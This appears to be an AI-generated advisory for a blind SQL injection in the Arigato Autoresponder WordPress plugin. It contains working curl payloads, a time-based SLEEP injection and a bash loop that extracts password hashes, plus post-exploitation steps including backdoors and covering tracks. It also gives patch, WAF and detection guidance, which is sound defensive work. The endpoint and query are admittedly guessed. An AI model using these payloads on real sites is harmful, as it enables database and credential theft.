CVE-2026-136895 — WordPress is vulnerable to Arigato Autoresponder — CWE-89
The Arigato Autoresponder and Newsletter plugin for WordPress is vulnerable to blind SQL Injection via the 'wpforms[fields][<name_field_id>][first] / [last]' parameter in all versions up to, and including, 2.7.2.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. Exploitation requires that the WPForms integration is configured and active within the plugin, and that the attacker has previously submitted a benign subscription through a published form containing a name field in order to pre-create the target login record and reach the vulnerable LIKE query branch.
The Arigato Autoresponder and Newsletter plugin for WordPress is vulnerable to blind SQL Injection via the 'wpforms[fields][<name_field_id>][first] / [last]' parameter in all versions up to, and including, 2.7.2.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. Exploitation requires that the WPForms integration is configured and active within the plugin, and that the attacker has previously submitted a benign subscription through a published form containing a name field in order to pre-create the target login record and reach the vulnerable LIKE query branch.
🎯 What is this vulnerability?
Technical flaw
The Arigato Autoresponder & Newsletter plugin (WordPress) builds an SQL query that contains the user‑supplied values from the wpforms[fields][<name_field_id>][first] and wpforms[fields][<name_field_id>][last] form fields.
- The plugin concatenates these values directly into a
LIKEclause without any escaping or parameter binding. - No prepared statement is used, so the values are treated as literal SQL code.
- The query is executed with the privileges of the WordPress database user, which has full read access to the
wp_users,wp_options, and other tables.
Result
An unauthenticated attacker can inject arbitrary SQL into the LIKE clause, turning the query into a blind SQL‑injection payload. Because the plugin requires that a “benign” subscription has already been submitted (to create the target record) and that WPForms integration is enabled, the attacker can then use the injection to read sensitive data from the database.
CWE – CWE‑89 (SQL Injection)
CVSS – 7.5/10 (High) with vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
No authentication or user interaction is required; the impact is purely confidentiality.
⚡ Attack Chain
NOTE – The exact endpoint that receives the form submission is not specified in the CVE.
The following example uses the typical WPForms REST endpoint (/wp-json/wpforms/v1/submit) as an illustrative target.
If the site uses the legacyadmin‑ajax.phphandler, the same payload can be sent to that URL with the appropriateactionparameter.
1. Discovery & Reconnaissance
| Step | Technique | What to look for |
|---|---|---|
| a. Identify WordPress | curl -I https://target.com | Look for X-Powered-By: WordPress or wp-content in the response. |
| b. Enumerate plugins | curl https://target.com/wp-json/wp/v2/plugins (or use WPScan) | Find arigato-autoresponder and its version. |
| c. Verify WPForms integration | Inspect the form page source for wpforms JavaScript or look for wpforms in the REST API (/wp-json/wpforms/v1/forms). | Confirm that WPForms is active and a form with a name field exists. |
2. Exploitation
2.1. Create a “benign” subscription (pre‑condition)
curl -X POST "https://target.com/wp-json/wpforms/v1/submit" \
-H "Content-Type: application/json" \
-d '{
"form_id": 42,
"fields": {
"1": { "first": "John", "last": "Doe" },
"2": { "email": "[email protected]" }
}
}'This creates a record that the vulnerable query will later target.
2.2. Blind SQL‑injection payload
The vulnerable query is roughly:
SELECT * FROM wp_users
WHERE user_login LIKE '%{first}%'
OR user_login LIKE '%{last}%';Because the plugin does not escape {first} or {last}, an attacker can inject SQL.
A classic time‑based blind payload:
curl -X POST "https://target.com/wp-json/wpforms/v1/submit" \
-H "Content-Type: application/json" \
-d '{
"form_id": 42,
"fields": {
"1": { "first": "a' OR SLEEP(5)-- ", "last": "b" },
"2": { "email": "[email protected]" }
}
}'If the response is delayed by ~5 seconds, the injection succeeded.
2.3. Extracting data (row‑by‑row)
Because the query is blind, the attacker can use a binary search approach to read data byte‑by‑byte.
Example to read the first 10 characters of the user_pass field of the first user:
# Pseudo‑script (bash + curl) – not a single request
for i in {1..10}; do
for c in {32..126}; do
payload="a' AND ASCII(SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),$i,1))=$c-- "
start=$(date +%s%3N)
curl -s -o /dev/null -w "%{http_code}" -X POST "https://target.com/wp-json/wpforms/v1/submit" \
-H "Content-Type: application/json" \
-d "{\"form_id\":42,\"fields\":{\"1\":{\"first\":\"$payload\",\"last\":\"b\"},\"2\":{\"email\":\"[email protected]\"}}}"
end=$(date +%s%3N)
if (( end - start > 4000 )); then # 4 s delay indicates true
printf "\\$(printf '%03o' $c)"
break
fi
done
done
echoThe script prints the extracted password hash.
Important – The above is a conceptual illustration. In practice, the attacker would automate the binary search and handle HTTP errors, timeouts, and rate‑limiting.
3. Post‑exploitation
1. Credential Harvesting – Extract user_login, user_pass, and user_email from wp_users.
2. Privilege Escalation – If the extracted password is a plain‑text or weak hash, attempt to log in as that user.
3. Data Exfiltration – Dump tables of interest (wp_posts, wp_options, wp_comments).
4. Persistence – Install a backdoor or modify wp_options to auto‑load malicious code (e.g., via wp_options active_plugins).
5. Cover Tracks – Delete the malicious form submission or tamper with logs (if possible).
🌍 Real World Impact
| Impact | Explanation |
|---|---|
| Confidentiality | High (C = H). Attackers can read any data in the WordPress database, including user credentials, content, and configuration. |
| Integrity | None (I = N). The vulnerability does not allow modification of data. |
| Availability | None (A = N). No DoS or service disruption. |
Practical consequences
🛡️ Remediation & Mitigation
1. Patch
| Affected | Fixed |
|---|---|
arigato-autoresponder ≤ 2.7.2.8 | Upgrade to 2.7.2.9 or later (latest release as of 05 Dec 2026). |
Action – Run wp plugin update arigato-autoresponder or manually replace the plugin files.2. Workarounds (if patch cannot be applied immediately)
| Mitigation | How to implement | |||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Disable WPForms integration | In the plugin settings, uncheck “Enable WPForms integration” or delete the form that triggers the vulnerable query. | |||||||||||||||||||||||
| Restrict form access | Place the form behind a login wall (require_login), or use a plugin that limits form submissions to authenticated users. | |||||||||||||||||||||||
| WAF / ModSecurity rule | Add a rule that blocks suspicious SQL patterns in wpforms[fields][*][first] and ...last] parameters. Example rule (ModSecurity 2.x):<br>SecRule ARGS | ARGS_NAMES | REQUEST_URI | REQUEST_HEADERS | XML:/* "wpforms[fields][*][first] | wpforms[fields][*][last]" "chain,phase:2,block,msg:'SQL Injection attempt via WPForms'"<br>SecRule ARGS | ARGS_NAMES | REQUEST_URI | REQUEST_HEADERS | XML:/* "@rx (?:union | select | insert | update | delete | drop | sleep | benchmark | base64_decode | char | ascii | or | and | -- | #)" "t:none,t:urlDecodeUni" |
| Rate‑limit form submissions | Use a plugin or server rule to limit POST requests to the form endpoint (e.g., 5 per minute). |
3. Detection
| Indicator | Log pattern |
|---|---|
| Suspicious payload | wpforms\[fields\]\[\d+\]\[first\] or wpforms\[fields\]\[\d+\]\[last\] containing --, /*, sleep, union, select. |
| Time‑based delay | Response times > 4 s for form submissions. |
| Repeated failed logins | After credential harvest, look for wp-login.php POST attempts with the extracted usernames. |
| Unusual database queries | In MySQL slow‑query log: queries with LIKE '%...%' containing non‑alphanumeric characters. |
Sample Apache log entry (indicative of an injection attempt)
127.0.0.1 - - [05/Dec/2026:12:34:56 +0000] "POST /wp-json/wpforms/v1/submit HTTP/1.1" 200 512 "-" "Mozilla/5.0"Inspect the request body for patterns such as first=a' OR SLEEP(5)--.
4. Incident Response
1. Verify – Confirm the plugin version and that WPForms integration is active.
2. Contain – Apply the patch or disable the integration immediately.
3. Investigate – Search logs for suspicious POST requests to the form endpoint.
4. Remediate – Reset all WordPress passwords, especially those of admin accounts.
5. Recover – Restore from a clean backup if data integrity is suspected.
6. Report – If the site is a critical infrastructure or regulated, file a breach notification as required.
⚠️ Urgency
| Metric | Value | Interpretation |
|---|---|---|
| CVSS Score | 7.5 | High severity |
| Authentication | None | Unauthenticated attackers can exploit |
| Exploit Complexity | Low | Requires only a crafted POST request |
| Availability | No impact | Attack does not disrupt service |
| CISA KEV | No | No known public exploit yet |
Priority – P1 (Immediate)
Given the high confidentiality impact, the lack of authentication, and the low complexity of the exploit, all affected sites should upgrade the plugin immediately. If an upgrade is not possible, the recommended workarounds (disabling WPForms integration or applying a WAF rule) should be enforced without delay. Continuous monitoring for the described indicators is essential until the patch is deployed.
[🤖 CVE Professor AI Security Engine]
FOFA Query